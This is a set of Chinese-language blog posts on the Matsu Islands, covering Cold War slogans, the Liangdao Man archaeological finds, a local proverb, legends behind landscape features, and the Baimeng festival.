(四)各島天后宮的對聯:奸匪竊國神鬼難安,驚濤駭浪幸得自由(田澳村天后宮)。國仇家恨誰不知消滅共匪定千秋,親恩兄義一身殉感動人心傳百世(福正村天后宮,74年雷啟英)。鎮海屠鯨消滅朱毛漢奸,乘風破浪光復華夏神州(東引天后宮)。
(五)防空洞的對聯:衛我山河憑陣固,殲敵匪寇賴民和。(西莒)
(六)民宅的對聯:發揚革命精神、完成中興大業。橫披:克難創造(津沙餅店)。確保馬祖(西莒田澳村)
(七)官舍標語:「精誠團結、同仇敵愾、聞雞起舞、枕戈待旦」(縣政府68年經國提示三不政策)(塘岐運動場)。村辦公室標語:管教養衛。
(八)入村與聚落內的對聯:入村標語:民生至上、建設第一(清水村)。街頭巷尾標語:敬軍愛民(山隴村)。
(九)學校標語:明恥教戰(中山國中);養天地正氣、法古今完人(介壽國中)
(十)碼頭標語:事在人為、人定勝天(福澳74年經國題)。毋忘在莒(西莒)。忠誠門:崇法務實,勤勞儉樸(東引中柱港)。固守高登屏衛臺海(高登)
(十一)海堤標語:固若金湯,其介如石(66年經國題),中流砥柱(東引)。
(十二)水庫標語:人定勝天(馬港儲水澳)。同島一命、奮戰到底(西莒菜埔澳水庫)

遺落在馬祖列島的戰地標語

遺落在馬祖列島的戰地標語

四、結語:

那一年所創造的標語如精神上的嗎啡,凡我軍民視為真理奉行不渝,如今棄如敝屣。感慨時代反差極大,不論喜歡或不喜歡,己成為我們的歷史一部份,唯有走過,面對過去事實才能珍惜,成就為世界文化資產,做為邁向和平踏腳石,為人類和平盡一分貢獻,我如是看待那時代的標語。

全文發布於海上鮮師部落格

亮島人-南島語族的祖跡從這裡開始

0

前記

前一陣子馬祖日報報導:中國醫藥大學葛應欽副校長有篇論文「早期的南島民族進入和移出台灣」,刊登在於「美國人類遺傳學雜誌」,亮島人遺址研究再度躍上國際期刊,證實早期南島民族約8000年前起源於馬祖、福建沿海地區。這些年來跟隨陳仲玉老師做田野調查和考古挖掘,從東莒熾坪隴遺址到亮島島尾遺址,出土文物堆裡一石器、一陶片、一骨器、一貝器…極力去拼湊馬祖列島史前文化,天道酬勤隨著亮島人一號和二號出現,馬祖考古隊不僅挖掘出一頁文明的驕傲,更走入世界文明史一環;田野挖掘工作或許可以告一段落,即「上窮碧落下黃泉、動手動腳找材料」階段任務圓滿落幕,這些田野素材目前已編檔典藏於馬祖民俗文物館,後續更艱鉅的研究才剛開始。因此,二月間文化局特邀陳仲玉老師及其所率領的馬祖考古隊成員,召開圓桌會議,由楊縣長主持,商討於今年九月底舉辦「亮島人國際學術研討會」。目前正徵集國內外學者論文研究數十篇,屆時可揭開亮島人-南島語族間前世與今生的謎底,敬請期待!為饗讀友,本人特摘錄《馬祖亮島島尾遺址群發掘及『亮島人』修復計畫》內容,希望引發關切我們的文化資產。

亮島人-南島語族的祖跡從這裡開始
▲亮島-亮照大陸  島立天中

 

亮島島尾遺址發掘的經過

自民國百年楊綏生縣長登上亮島慶祝軍方登島六十周年時,發現島上多處貝塚,即刻邀請陳仲玉教授和清大邱鴻霖教授組成亮島考古團隊,九月至十二月兩度進行島尾Ι和Π號遺址挖掘,次年(2012年)再度登島進行大規模地表調查,同樣在島尾發現三和四號遺址,於是將四處遺址合併稱為「亮島島尾遺址群」。其中島尾Ι和Π號遺址的試坑,出土陶器、石器、骨器、人體骨骸等文物,其中在島尾Ι和Π號遺址各發現一具完整的亮島人遺骸,經研究初步證實這裡是南島語族的祖居地,同時將馬祖歷史向前推八千三百年,開啟海洋文明曙光

亮島人-南島語族的祖跡從這裡開始
▲亮島遺址衛星圖

 

亮島人-南島語族的祖跡從這裡開始
▲「亮島島尾遺址群」分布圖

 

亮島人-南島語族的祖跡從這裡開始
▲「亮島島尾遺址群」-島尾Ι號遺址位置

 

遺址所發掘的文物與年代

發掘地點在亮島的島尾,發現「人體遺骨」、「有刃石器」、「堆雕波浪紋陶」等多項重要文物,經美國及台灣大學精密分析,其中確定年分約距今近8300年。目前已將文物移至馬祖民俗文物館,待後續進一步研究。

亮島島尾I遺址的文化內涵:此遺址的田野工作,因試探坑發掘的面積不夠,所得的文化遺物稀少;因而,要探討其文化的內涵,似嫌太早僅能從出土物中的文化遺物包括:陶器、石器、骨器、人體骨骸四個方面來觀察。陶器方面:陶器的質地基本是紅色系的夾砂陶,砂的顆粒大小參差不一。火候很低,陶質均鬆軟,故而多是小破片,亦未發現完整陶器,僅就出土的口緣形制來看,遺址中的陶器應該係以「罐形器」為主,以及少數的「缽形器」、「杯形器」的存在。

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的特殊堆紋陶片

 

骨器方面:出土人為加工痕跡的骨質遺物,包括:魚叉、箭鏃、刻槽骨首、骨鑿、骨刀、尖狀器、骨珠、骨飾、不明骨器與骨料等十種類,共出土282件, 依照加工手法不同,初步區分為砍切痕、鋸痕、削痕、磨痕、鑽痕、鋸崩痕、刻劃痕等七種,其中以搓磨方式和複合方式(即搓磨、砍切、鋸法併用)製做骨器居多;所用材質以哺乳類骨居多,魚類骨次之,少許禽類;許多遺物帶焦黑痕跡,推測應是經人為燒烤食用所導致。

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的骨角尖形器

 

亮島人-南島語族的祖跡從這裡開始
▲島尾Ι遺址出土的各式刻槽骨器

 

亮島人-南島語族的祖跡從這裡開始
▲亮島人使用的魚叉,可綁柄繫繩製作精良

 

石器方面:出土的石器包括:錛形器、邊刃器、尖狀器、石片器、砍砸器、斧鋤形器、石錘、砥石、石核、石砧……等其中以尖狀器數量最多,與潮間帶採集貝類有關;石器之外,出土遺物中還有非石器,疑似帶有人為加工使用痕,包括:石核、石材、石片,以及不帶人為痕跡的角礫岩塊與圓礫,這些遺物雖然非精美的石器,卻能提供史前人群在製作石器時的選材、工序、技巧等資訊。至於器型製作加工技術主要為打製,少許磨製石器,顯示遺址人群可能已經具備磨製技術。選用石材主要為花崗岩,部分為砂岩、變質砂岩、安山岩、灰泥岩…等;除了花崗岩,其他石材可能是人群自島外攜入,或在亮島礫灘撿拾的礫石。

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的石英質小石片器

 

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的石錘

 

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的砍砸器

 

亮島人-南島語族的祖跡從這裡開始
▲島尾I號遺址石器-砥石

 

亮島人-南島語族的祖跡從這裡開始
▲島尾Ι號遺址出土的尖狀器

 

亮島人-南島語族的祖跡從這裡開始
▲島尾二號坑出土的圓礫石

 

人體骨骸方面:島尾Ι遺址的「人體遺骨」命名為「亮島人」,是人類考古學界重要發現。「亮島人」採取屈肢葬法,兩下肢骨向上屈折後向左側傾臥,雙膝緊貼於左胸外側;坐骨大切跡角度深窄,頭骨四肢整體表現粗壯發達,具男性個體普遍特徵;再從上下顎第三大臼齒已萌出,臼齒耗損程度,四肢骨長度已達成人,推斷死亡年齡約30歲;上肢骨粗狀且肌嵴線(三角肌粗隆)極為發達,體型結實,依股骨長度推斷中等身材約160公分。

亮島人-南島語族的祖跡從這裡開始
▲島尾Ι遺址的人體遺骨,命名為「亮島人」

 

新石器初期海洋生活

就生態環境特徵而言:當時海平面比現在低約10公尺-20公尺間,因此島的面積比較現在亮島要大,而且沿岸潮間帶亦寬廣;就地勢而言,島尾(北面)比島頭低緩,遺址所在容易到達海邊,進行採集貝類和捕獵魚類,這足以說明為何四處史前遺址,皆散布在島尾的原因;而且這裡海洋生物種類繁多,採集容易,自古以來就是北竿大坵島居民,季節性遷移的地點。

就出土食用的貝類而言,包括:殼菜蛤科、鐘螺科、骨螺科、牡蠣科、笠螺科、藤壺科等六大類為主,其他還有蝸牛科、蛇螺科、簾蛤科、魁蛤科、蠑螺科、竽螺科..論數量以殼菜蛤科居多,藤壺科次之。部份的貝類在馬祖人餐桌上仍然食用,可見史前人類在食用不同組合的貝類,飲食習慣沒有隨時間演進而有所不同,再從豐富的貝類種屬組合,反應了島尾1遺址的史前人群對貝類的利用是多元化, 而非單一物種。

就出土可確認出魚類骨骼而言,包含:有鲷科、海鲶科(部分確認為斑海鯰種)、帶魚科(白帶魚種)、真鯊科(真鯊屬)、魟科、隆頭魚科(红頸擬隆頭魚種、藍豬齒魚種)等6科别;耳石比對,包含:海鲶科(斑海鯰種)與石首魚科(大頭白姑魚種)2種。哺乳類骨骼則包含:豬科、鹿科、海豚科、龜鱉目、鼠科等5科別。禽類骨骼皆為肢骨,無明顯特徵且多非完整骨骼,故未能辨別出種屬。其中魚類重多而且魚體也比現在魚類大,捕魚技術相當進步,依骨器研判,懂得使用魚叉等工具。遺址還出現,燒烤、火塘和圍石造灶的現象,由此可知已經懂得烹煮食物。

就骨骼特徵方面:值得一提是頭骨兩側耳孔之外耳道皆可見明顯的骨疣或骨腫現象,稱之為外耳道外骨腫,這種病徵經常出現於潛水員或長期從事水下活動者身上,患者耳道長期受到水下活動、低溫環境、強烈的冷風環境有高度相關性,可能跟亮島人長期從事水下資源的採集與獵捕有關係。

亮島人-南島語族的祖跡從這裡開始
▲島尾一號坑出土的貝類

 

亮島人-南島語族的祖跡從這裡開始
▲島尾(北面)比島頭低緩,海邊潮間帶寬廣

 

亮島人在考古人類學上學術價值

島尾Ι和Π號遺址各取趾骨一小節送德國研究室,做X和Y染色體比對,目前已知亮島人1號之粒線體DNA,結果判定為E-E1單倍群;亮島人2號之粒線體DNA,則判定為R9單倍群。這個成果是目前亞洲大陸東南沿海一帶古代粒線體DNA序列中,最完整且年代較早的兩筆資料,反映了亞洲大陸東南一帶可能是近萬年以來所謂「原南島語族」的袓居地之一。從生物人類學的角度提供嶄新的科學證據,說明這區域人群的擴張及移動路徑與南島語族起源問題。從另一方面,從亮島人的頭骨形態學分析顯示,亮島人1號、2號皆落入與近代南島語族相關族群的群聚關係中,亦暗示亮島人在頭骨形態上與南島語族有高度的相似性,這樣結果也與亮島人的DNA遺傳分析結果相互呼應。

結語

综合人類形態學與分子遺傳學研究,推論『亮島人』極有可能就是語言學家所指稱,即在距今六千年前南島語族開始向外分化擴散之前,原居於中國大陸東南的原南島語族群,因亮島人遺骸出現原較語言學家們所推測的年代早了二千年。至於從距今八千年到六千年前之間,這些族群是如何擴散?為何擴散?並且後續在語言上出現的歧異?與台灣大坌坑文化(原南島語族人群的文化)建立在什麼樣關係?至今依然是謎,值得後續研究,這正是亮島人在考古人類學上極具學術價值。

亮島人-南島語族的祖跡從這裡開始
▲島尾Ι遺址亮島人頭骨復原(複製)

全文刊登於海上鮮師部落格

無豬犬也刣

0

 

無豬犬也刣

【發音教學】:

本義】:

無豬隻可殺,只好去殺狗。

 

引申義】:

退而求其次,「無魚蝦也好」,聊勝於無。

 

註解】:

  1. 動物的「狗」,馬祖話說「犬」不說「狗」。只有在戲謔登徒子時說「狗子」或「狡鼠」。前者是民間戲曲常用的語彙,後者常常被文人用於書寫時。
  2. 國語的「殺」,閩方言都寫成俗體的「刣」,它的本字是「治」。為方便閱讀,本文從俗。
  3. 特別說明,「刣」字不能「有邊讀邊」,如果用注音輸入,必須用ㄓㄨㄥ,否則,只能用左右雙拼的方式變通處理了。

 

史鑑】:

  1. 高中國文課本有一篇很重要的文章〈燭之武退秦師〉,文章內容充分呈現春秋時代國際外交會盟、縱橫捭闔的技巧與手腕。當時是秦、晉同盟圍攻鄭國。盟軍把鄭國的都城團團圍住時,沒想到鄭國的燭之武,半夜從城牆縋降而出。面見秦穆公之後,以挑撥離間的手法,說明秦晉連盟之不智,並分析戰後利晉不利秦的局勢,力勸秦穆公盡速收手。秦穆公接受建議,背盟而歸,並留下三位將領協助鄭國守城門。這件事埋下了後來「秦晉崤之戰」的引信。兩年後,三位將領獲得鄭國信任,取得掌管「北門」進出之大權,然後立刻通知秦穆公,快快的派兵來偷襲鄭國。有他們做內應,必能將鄭國順利拿下。秦穆公認為機不可失,就派大隊兵馬前往「偷襲」。沒想到在半路上碰到鄭國商人弦高。弦高假裝鄭國派來的勞軍使者,從容應對之餘,同時支使旁人火速回國通報。尷尬的秦穆公自我盤算,覺得這趟軍事行動的勝算不大,只好倉促的班師回國。就在回程的路上,把一個小國家—滑國給消滅了。秦穆公心裡清楚得很,勞師動眾的出征,若空手而回,可能會造成政局的動盪。如今,滅了滑國,「無豬犬也刣」、「無魚蝦也好」,對全國軍民也可以交代了。
  2. 傳統的馬祖人是不吃狗肉的,吃狗肉的習慣是國軍引進來的。由這句俗諺來看,在馬祖社會,狗肉的地位、價位都不如豬肉。可是,自古以來,屠狗就是合法的職業之一。最近,我國公布了〈動保法〉的修正案,認為吃貓、狗的肉是不法的行為,違者最高可判罰二十萬新台幣,這與傳統的習俗是不符的。《國語‧越語》曾記載越王勾踐的復國故事。他生聚教訓,復國在即,為了提高生育率以應兵源需求,就使用重賞的策略,誘導國民大量的繁衍增產。他曾下命令說:「凡是生男嬰的家庭,政府獎賞他兩壺酒、一隻狗;生女兒的則獎賞他兩壺酒、一隻豬。生過三胎的,政府提供保母;生兩胎的,政府給官糧。」這項兩千多年前的人口政策,足以給今天只會成立「△△△辦公室」,而不給生育誘因的政府做參考。

 

運用】:

面對「強敵」環伺的局面,最大的目標物已被人捷足先登了,當事人口出此言,也許是自我調侃、自我解嘲。若出自他人之口,我覺得諷刺的意味居多,尤其是在事發的當下,一句無心之話語,也可能誘使對方惱羞成怒,「冒險」的事少幹為妙。所以,奉勸大家,這句話還是留著「自用」吧。因為「自用」能呈現幽默感,也能展現個人的氣度。若是「他用」,遭人「白眼」事小,一旦結下樑子可能就很難化解了。

 

 (本諺語為元忠校長的尊翁林宜水先生提供,客語俗諺是大學同學提供的,姜尼沃珂讀友建議附上音檔。筆者敬向諸位先進致上誠摯的謝意。)

馬祖特殊地景的故事

0

岩的聯想

馬祖列島具有高度價值的地景,不僅具有地質與地形上的意義,也散發出獨特的景觀美感,吸引遊客造訪。由於受惠於大自然雕琢,造就嶙峋怪狀的奇巖和礁嶼,頻添許多想像空間,長久以來,這些特殊地景成為鄉土文學題材, 為海洋教學增添一些趣味性。同樣在大自然雕琢下,易造成地質與視覺的脆弱性,因此地景的開發過程中,如果沒有將此列入規劃考量,容易造成地景資源的破壞。有鑑於此,特別搜集民間關於地景的故事,希望借著人文與自然互動,思考保育與永續經營的重要。

▲賭場預定地-蚌山

 

馬祖特殊地景的故事
▲北竿芹壁的風化岩

 

馬祖特殊地景的故事
▲東引燈塔附近的磐石

 

岩的出路

目前世界上保護人類珍貴資產的組織是聯合國教科文組織(UNESCO),其中有兩大系統,一是世界遺產(又稱世界襲產)(World Heritage),一是地質公園(Geopark)。目前從地方到中央爭取世界遺產不遺餘力,2009年文建會召集「世界遺產推動委員會」,馬祖戰地文化首次列為潛力點。就特殊性而言:馬祖列島軍事建物密度號稱世界第一,這些建物因軍事防衛需要,多依馬祖地形而構築,涵蓋於海岸突出的岬角建據點、或鑿山為坑道、或掌控山頭設軍事指揮部…,見證了國際冷戰歷史,也走過國共軍事對峙的歲月,許多軍事建物已然成為馬祖列島特殊的景觀。

而地質公園則是指具有稀有性、景觀美感和特殊地質科學意義的地質景觀襲產,其中也含括了相當程度的文化意涵。在地質公園中,地質公園則是指具有稀有性、景觀美感和特殊地質科學意義的地質景觀遺產,其中也含括了相當程度的文化意涵。在地質公園中,不僅是可從事觀光、旅遊與教育,還可以進行具有相當科學性的地景與文化休閒活動。同時,地質公園也肩負保護地質遺產、進行相關科學研究與推廣的重大任務。地質公園的目的在於保護特殊地質景觀,提升大眾對於地球遺產價值的認知,並鼓勵以地方化的力量進行適當的經營管理,帶動地方整體的發展。我們應該努力將馬祖列島的美景列入臺灣的地質公園名錄,提供大眾進行地質地形旅遊(Geo-tourism),以及相關的保育與科學研究。

馬祖特殊地景的故事

馬祖特殊地景的故事
▲東莒林坳嶼附近岩塊頁狀風化後產生大型鱗剝巨礫

 

 一、自然地景的故事

馬祖列島屬於典型的花崗岩錐狀島嶼,地勢起伏極大而且陡峭。海岸經年累月受海浪淘洗沖刷多形成崩崖、險礁、海蝕洞、海蝕門等地形。崩解的花崗岩塊,加上來自閩江的泥沙,在灣澳、谷地堆積形成礫石灘、卵石灘、沙灘等各式各樣之海灘,因此這裡的海濱地形十分多樣化。整體而言,全島受到風化和海水形成的海蝕地形和搬運堆積的海積沙灘,除了戲水之外,許多更是戶外教學的活教材。

(一)尼姑山與進嶼的地景故事

話說「南宋時期,家居福州書生進京趕考,中了進士衣錦還鄉,於是坐船從杭州取海路回家。經過進嶼候潮進閩江,因海上突然起風暴,船被大浪吞噬翻覆,進士葬身海底,妻聞訊痛不欲生,聞訊前來將夫埋葬後,在尼姑山搭草庵與夫對望,每日頌經迴向丈夫,思念溢於言表。當地人為感念這段堅貞的愛情,於是將草庵所在取名尼姑山,將進士葬身處取名進嶼(現在蛇島)」,尼姑山與進嶼皆位於北竿南段海岸和海域島礁,遙遙相望。

馬祖特殊地景的故事
▲進嶼

 

馬祖特殊地景的故事
▲尼姑山

 

(二)黃官嶼的地景故事

黃官嶼位在南竿機場外海,是一座無人島礁,又稱外官嶼,黃官嶼因何得名不詳,但南竿流傳著一個有關黃官嶼的傳說,傳說有一位朝中官員因案落荒而逃,一路上掉了官帽、褲帶,也掉了鞋,因而形成帶礁與鞋礁,兩個小島礁都緊鄰黃官嶼,鞋礁是目前南竿機場飛機起降參考觀察點的三點之一。

馬祖特殊地景的故事
▲ 黃官嶼

 

馬祖特殊地景的故事
▲鞋礁

 

(三)白犬島的地景故事

話說西遊記裡齊天大聖向鐵扇公主借芭蕉扇,過火燄山後不慎將芭蕉扇遺落閩江口,變成川石島。玉皇大帝派白馬尊王鎮守川石島,以免芭蕉扇再度遺失,另派遣白犬和五虎看守閩江口外加強戒護。明初,湯和率水軍進閩江口,因未事前通報,被白犬看見狂吠,五虎見狀張牙舞爪示警,湯和知難而退於是繞過閩江水道,由烏豬港進軍福州。

馬祖特殊地景的故事
▲ 從海上看西莒

 

(四)西引島鱷魚岬的地景故事

鱷魚生性特別兇猛強悍,有一天獨自遊蕩,從淡水河衝出大海獵捕食物,隨魚群游至西引清水澳,不但魚類遭殃,經常把漁船弄翻,吞噬不少船、漁民,危害人間,終於玉皇大帝降旨派天將除害,斬鱷魚任由屍體在海岸曝曬腐化,並收鱷魚魂魄令其永世守衛清水澳西岸,因此海岸極像鱷魚,島民稱之為「靜俯鱷魚」。

馬祖特殊地景的故事
▲東引鱷魚岬角

 

 

(五)東西引兩個石巖門框的地景故事

據聞有一仙人,姓費名長房,能變換山勢地形。有一天叫徒兒攜兩個門框到今東西引島,臨行時師父給他一張字條,囑咐他憑字中行事,並囑咐到該島時,任他選一個好澳口,把兩個門框安裝上控制魚類進出,將來島上有人時,生活就有依靠。於是徒兒到了東引,就把左手之門框暫行放在東引圓圓澳,把右手之門框提至西引東澳,疲倦獨坐懸崖上休息,把師父交給他字條取出,見封面寫著「無人看」行事。隨即拆封,信內中僅有「佾借伸侄仔」五個字,想不出其中語意。徒兒把字條捧在手中,總是悟不出玄機。這一夜費長房師父心神不寧,天一亮就往東引島探個究竟,見兩個門框固定在兩島澳口,再見到徒弟孤坐岩石上,就知誤了時間,師父把紙條接過來,撕其一半,告訴徒兒說,就是要您把人字部首刪掉,不就是「八月廿一日申至子」,師父氣言:「罰你該為僧,就在此修行吧!」從此那徒弟終生不進寺廟,朝夕露天面岩修行,此僧就修練成「和尚看經」。

馬祖特殊地景的故事

馬祖特殊地景的故事
▲東西引海堤與和尚看經

 

(六)牛頭祭海神的地景故事

東海龍王敖廣,巡遊海疆,囑咐前導使者傳言,經過地方要備三牲(牛豬羊)祭祀。東湧當時,僅有拾貝類為生者數人,那來三牲祭品,正愁無力應付之際,適逢遊方道人,雲遊經過,安撫民眾不要憂心,由道人想辦法應付。只見道人舉劍一指,現出一隻大黃牛,於是揮劍斬牛,只見牛頭飛衝數丈高,牛頭應聲墜落海灘,但牛身沒入「其介如石」下方,退潮時仍能顯現其牛背,至興建碼頭時,被「鈕工塊」掩埋。

馬祖特殊地景的故事
▲東引其介如石

 

(七)烈女義坑的地景故事

位於大紫澳後方,此處為天然形成的海蝕崖,崖高百餘公尺,氣勢懾人。相傳為清末一民船女子投崖殉節之處,居民感其節烈,遂名其崖為「烈女義坑 」。現有圍牆及欄干延伸至坑谷,欣賞獨特之天然景觀。另在烈女義坑西側,有一塊巨石名為「烈女石」,相傳一女子坐望夫歸而得名,亦屬獨特之巨石景觀。

馬祖特殊地景的故事
▲東引烈女義坑

 

二、文化地景的故事

(一)東莒燈塔

東莒燈塔,又稱「東犬燈塔」,位於東莒島東北角老頭山山頭。東莒燈塔由挪威人於清同治十一年(西元1872年)所建,燈塔的高度約19.5公尺,牆厚99公分,塔身材質為當地的流紋岩,圓柱型的高聳燈塔相當雄偉,已成為東莒地標,也是臺灣海峽北段的四大燈塔之一,於1988年被內政部評定為二級古蹟。燈塔下方有大塊流紋岩砌成的的洋房,這裡是當地居民口中的「白毛城」。這座燈塔東莒燈塔最特別的地方,就是在連接燈塔與辦公室的草地上,築有一道長達30公尺的白色矮牆,由於燈塔所在位置的地勢較高、風力強勁,這道防風牆可以讓工作人員在強風吹襲時,低身快速通過,工作人員手上的煤油燈才不會被吹熄。

馬祖特殊地景的故事
▲ 東莒燈塔

 

(二)大埔石刻

東莒島西南側的大埔老頭山山坡上有一個明朝石刻碑文,刻於流紋岩之上,稱為「大埔石刻」,據考證石刻是萬曆年間所勒,原文為「萬曆疆梧,大荒落地,獵後挾日,宣州沉君有,獲生倭六十九名於東沙之山,不傷一卒,閩人董應舉題此。」述說當年桃煙門侵華受降的情形,為供後人緬懷「洗海將軍」沈有容的智勇與功勳,大埔石刻1988年被內政部指定為國家三級古蹟。

馬祖特殊地景的故事
▲東莒島大埔石刻

 

(三)芹壁石造聚落

芹壁原地名「鏡澳」,因夏天海水清澈如鏡子一般。從海上望去像是一座錯落有緻的石頭城,是馬祖唯一保存最完整的石造聚落。芹壁的真,在於它保存了馬祖歷史文化資產,在這裡看到了閩越、閩東、戰地三種文化交疊,像是馬祖的時空膠囊。芹壁的美,在於這些石砌的牆,保有各種傳統砌法如人字砌、丁字砌、勾丁砌、亂石砌、斜角砌等,搭配溫潤光澤的花崗岩,好似一幅美麗的拼布,加上樸實悠閒的環境,像是地中海小島的山城!

馬祖特殊地景的故事
▲芹壁聚落保存區

 

(四)東湧燈塔

東湧燈塔興建完成於清光緒30年(西元1904年),民國77年被內政部評定為國家三級古蹟。聳立於懸崖峭壁上的白色燈塔,和崖下湛藍的海水相互輝映,氣勢雄偉。由於歐式建築風格,當地居民譽為「東引別墅」。燈塔下方設有霧砲兩尊,現改增設霧笛一座,取代霧砲做為霧季的助航之用。

馬祖特殊地景的故事
▲東引東湧燈塔

 

(五)鐵板

南竿仁愛村舊地名為鐵板,導因於海灘中有一大塊沉積的泥質沙灘,其中含鎂、鐵成份的花崗岩因長期與貝類混凝一起,形成結核現象,質地堅硬如鐵板,居民常截取其曬乾後做建材。

馬祖特殊地景的故事
▲南竿鐵板

 

(六)菜埔澳與紫菜

菜埔澳位於西莒島東北方,隸屬田沃村,澳口盛產紫菜而得名。近岸一塊大礁石「菜埔印」的紫菜產權,屬於陳元帥廟宇管理委員會所有,每逢紫菜盛產季節,必須得標者才有權上礁採集紫菜。在青帆深水碼頭未完成前,菜埔澳是西莒夏季主要的人員與貨物進出港口,南風海浪陣風七級以上,客船與商船都須靠泊菜埔澳。菜埔澳沿岸自然地景地貌屬典型之岩岸侵蝕地形,地勢起伏極大而且陡峭,由於長期受風化以及波浪侵蝕作用,形成多樣的海蝕地景。

馬祖特殊地景的故事
▲ 西莒島菜埔澳

 

(七)軍事坑道

1949年後兩岸處在軍事對峙,馬祖地區國軍基於攻防一體之戰略指導與作戰任務需要,在南竿、北竿、西莒及東引,以人工一镐一鏟、日夜不停趕工方式,在堅硬的花崗岩中開鑿出「北海坑道」、「安東坑道」、「午沙坑道」這些供登陸小艇使用之坑道碼頭,藉以保持戰力於九天之下,形成特殊的戰地景觀。島上亦佈滿「反攻大陸」、「蔣總統萬歲」、「爭取最後勝利」、「軍民合作」、「枕戈待旦」等標語,以及馬祖各式各樣地下石室、坑道、射口、砲臺、廚房、廁所等防禦工事軍事據點。這些冷戰時期戰地所遺留的文化景觀,反映了當時特殊的時空情境,和獨特的戰地文化,極為符合世界遺產登錄標準。

1.北海坑道:民國57年起,國軍在南竿、北竿、東引開鑿可供登陸小艇使用之坑道碼頭,藉以保持戰力於九天之下,並將此案定名為「北海案」作戰工程。其中以南竿的北海坑道最為壯觀,被譽為「鬼斧神工」的地下碼頭坑道,這座「井」字造型的坑道,高度為18公尺、寬度10公尺、步道全長700公尺、水道640公尺、漲潮時水位為8公尺、退潮時為4公尺,坑道內部可以停泊120艘小艇。繞行一週約為30分鐘。沿洞壁到處可見被鑿的花崗岩基盤與煌斑岩,岩質較新鮮,結晶礦石清晰可辨識,條狀深色侵入岩脈的煌斑岩鑲嵌在花崗岩基盤,壁壘分明,仿若地質生成的剖面圖。

2.安東坑道:安東坑道位於東引指揮部旁,工程浩大,鬼斧神工。坑道內各項設施齊全,有寢室、彈藥庫、中山室、廁所,甚至連養豬的豬圈都有。坑道有八個洞口,沿著洞口外的山壁,每年春夏期間,黑尾鷗群聚於此繁殖下一代。從洞口寬闊明亮的觀景平台望出,碧海藍天、奇岩怪石、海鷗飛舞,令人留連忘返。

3.大漢據點:大漢據點是突出於鐵板沙灘與北海坑道之間一座岬角,不同於其它的軍事據點,大漢從下到上有三層坑道,地下第一層主坑道長約304公尺,寬約1.5公尺,高約2公尺。遊客走在狹長蜿蜒的岩洞裡,不畏艱難的歷史歲月是具體而微呈現。已閒置的大大小小機槍砲射口宛如相機的觀景窗,是通過幽暗後的另外一番新天地。地上一層之三層多砲台坑道,通行廊道較為狹小,而內部設置高角砲砲臺、彈藥儲藏空間、士兵宿舍等軍用格局,具有完整之軍事設施。站在大漢據點所在的岬角地形,可從這裡解說花崗岩解壓後的節理與外營力作用所形成的地貌。

4.鐵堡: 鐵堡突出於海上的獨立岩礁,早年國軍因為戰略需要而挖掘岩礁使它中空,上覆以水泥掩體,在此設立據點,傲然聳立於狂濤中,旁邊岩礁上插滿了玻璃碎片,防止大陸的水鬼(蛙人)摸哨 雖然廢棄已久,但據點內仍保有完整的地下石室、坑道、射口、砲台、廚房、廁所、房間、臥床等防禦工事和生活設施,其麻雀雖小、五臟俱全,是體驗昔日戰地風情的一處絕佳地點。

馬祖特殊地景的故事
▲ 南竿北海坑道

 

馬祖特殊地景的故事
▲北竿北海坑道

 

馬祖特殊地景的故事
▲東引安東坑道

 

馬祖特殊地景的故事
▲南竿大漢據點

 

(七)熾坪隴遺址的史前石器

熾坪隴遺址位在東莒島大坪村的西南角,是一塊緩坡的海階平臺地。遺址先後經過2001年、2004年、2005年三次發掘。尤其後兩次發掘,出土石器共收320件,類型包括:石錛、投拋尖器、石刀、尖狀器、大小石片、刮削器、石核、小卵石錘器、凹石、斧鋤器、砍砸器、石英石等。除了石錛和投拋器以及石刀之外,因通體磨制顯然屬於新石器時代特質,其餘屬打制石器,仍然承襲舊石器時代的礫石石器和小石片器遺風;以尖狀器,凹石、小卵石器的組合,最具代表性。多屬於海濱採集貝類的工具。證實距今6100年前熾坪隴人的生活,基本上是以採集潮間帶的生物為主,並有園藝型農耕與狩獵小動物跡象。所使用的石器多就地取材,如火山岩系流紋岩、凝灰岩、火山角礫,以及深成岩系的花崗岩、偉晶花崗岩。

馬祖特殊地景的故事

馬祖特殊地景的故事
▲ 熾坪隴遺址史前石器-石錛與尖狀器

 

(八)亮島史前遺址

亮島(橫山、浪島)距北竿島約26公里海面上,有一面積約0.36平方公里之島嶼,先民稱為「橫山」,英國海軍稱為「Larne islet」,陳壽彭譯為「蘭島」,其下加註另作「闌島」。民國六年陸地測量總局所繪《五十萬分之一中國輿圖》〈閩侯〉中,註為「浪島」,該名漸成為通用正式名稱。國軍進駐之初,仍沿用浪島一名。民國五十六年三月二十五日,國防部長蔣經國先生巡視浪島時,將其易名為「亮島」,係取其「亮照大陸、島立中天」之意。

清康熙杜臻《粵閩巡視紀略》有云:「橫山在西洋山東突兀海中,不可泊船,東湧內犯賊舟宗必由此。」該島雖不利泊船,然其周圍海域向為閩東沿海先民捕撈黃魚等魚類之所,故漁民每於「冬春兩季多在此張網」,且因「山小無澳避風,每日漁舟趁潮汐帬聚,得魚即去,不能留也,居民二、三戸拾介類為生。」此外,島上並立有一趙大王廟,構建時間不詳。民國四十四年九月二十日,東湧守備部隊攻佔該島,自此成為國軍所控制的馬祖領土之一。

馬祖特殊地景的故事
▲亮島人遺骸距今8300年

同步刊於海上鮮師部落格

白馬尊王的傳奇,從坂里開始發燒

0

昨夜頂著夜風,參與「燒馬糧」祭典,體感溫度只有五度,以至今日受風寒感冒,下午抱著微恙的身子,受邀文化處與文化部文資局聯席座談,到場才知道主題是「馬祖擺暝列為國家級祭典」,與會在地文史工作者建國兄、桂香、建華皆極力論述馬祖列島擺暝祭典的獨特元素,而我也呼應馬祖人「擺暝」的價值,以及祭典背後所連接的文化與社會脈絡,列舉三項包括:1.珍視閩越族圖騰信仰在馬祖廟宇潛質的發展。2.重視北竿島百年發展出「扛乩」的社群網絡關係。3.在地化祭典發展出獨特的常民生活美學,如各村廟的鼓板樂等。經一番熱烈討論,文資局所聘的中央委員肯定馬祖列島的擺暝祭典,確認具有國家級價值,但必須補件與更多的基礎調查,趕在今年前完成申報手續,明年才能有機會授證為國家級的祭典。因此,這樣的契機有賴我輩共同努力,讓馬祖擺暝祭典成為全國的文化亮點。昨日的「坂里十三暝」系列活動,正式點亮了我們無形文化資產的新希望,我也看到了鄉親抱著家有喜事的心情,全島總動員一齊來擺暝。